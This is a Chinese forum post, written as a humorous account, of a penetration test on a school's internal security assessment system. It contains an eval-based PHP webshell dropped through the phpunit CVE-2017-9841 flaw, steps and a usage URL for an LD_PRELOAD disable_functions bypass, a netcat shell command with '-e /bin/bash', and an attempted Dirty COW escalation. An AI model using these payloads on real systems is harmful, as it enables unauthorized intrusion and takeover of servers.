记一次搞笑的渗透测试

前言

昨晚,学校网络又准时断网了,闲来无事就看了看学校的内网

然后看到个"网络信息安全能力的测评系统"

然后就职业病犯了,随手查了查有无漏洞

然后发现是使用了 laravel框架, phpunit测试框架

最后发现是phpunit这里有个rce,为了保证安全,就问问老师是否可以深入

2

webshell获取

因为在和老师说之前,就发现了个phpunit框架的一个rce,cve-2017-9841

直接post个phpinfo过去试试水

然后就正常的走流程,上马

<?=file_put_contents("1.php", '<?=eval($_REQUEST[1]);?>');

按照流程走,接下来就是提权了,但是发现无法执行命令

然后发现disable_functions限制了很多函数

但是现在不要慌,之前在90sec就看到过一个表哥写的一篇文章:一次艰难的渗透提权过程

这篇文章里表哥提供了个思路:https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD ,反正跟着走准没错.

主要的技术点就是

利用环境变量 LD_PRELOAD 劫持系统函数,
让外部程序加载恶意 .so,达到执行系统命令的效果。

以下是上文中提到的附件

php文件是需要上传到目标的执行命令的脚本,.c文件是未编译的文件

.so是编译后的

bypass_disablefunc_x64.so

gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc_x64.so

bypass_disablefunc_x86.so

若目标为 x86 架构,需要加上 -m32 选项重新编译

我这里的是64的环境所以将bypass_disablefunc.php、bypass_disablefunc_x64.so上传

使用方法

 http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so 

这里就成功绕过了disable_functions限制

搞笑提权(失败)

拿到shell后,因为这里是通过绕过在web来执行命令,不太好操作就用nc来反弹个shell

目标机器:nc -lvp 2222 -e /bin/bash
攻击机器:nc ip(目标机器) 2222 

直接尝试一波su root,当然是不行的,要是直接可以就没有这文章了

查看下版本,3.10.0-327,还是在脏牛的范围

直接脏牛走一波,一顿编译,一段操作

但是意外出现了,虽然这看起来好像不太对

下面是我的状况

这里是exp作者给的状况

满脸问号 ,我好像是直接退出来了,并且shell还给我整断了

查看下passwd文件,发现最后一次修改是18年,也就是说脏牛并没有替换成功

12

这时候就不行了,我就开始呼唤表哥来帮助我

然后表哥也是一顿操作,exp也是换了好几个

一顿长达半小时的操作力,还是提不下来

最终

这结束了?? 不会吧不会吧

正确的提权

经过了这么多的操作后还是没有提下来,本来以为没有希望了,再次查看passwd的时候发现

有个名为n**t的账号是可以登录的

15

就尝试一波su n**t,没想到的是过去了,但是权限还是这样

16

这时候就产生了个可怕的想法,直接sudo su

what ????

我以为这种情况只会在ctf的那种靶机里才会出现的....

对不起,是我太菜了

6 Likes

有意思~ :rofl:

实不相瞒我就是你老师我看到了你的记录。

sudo passwd root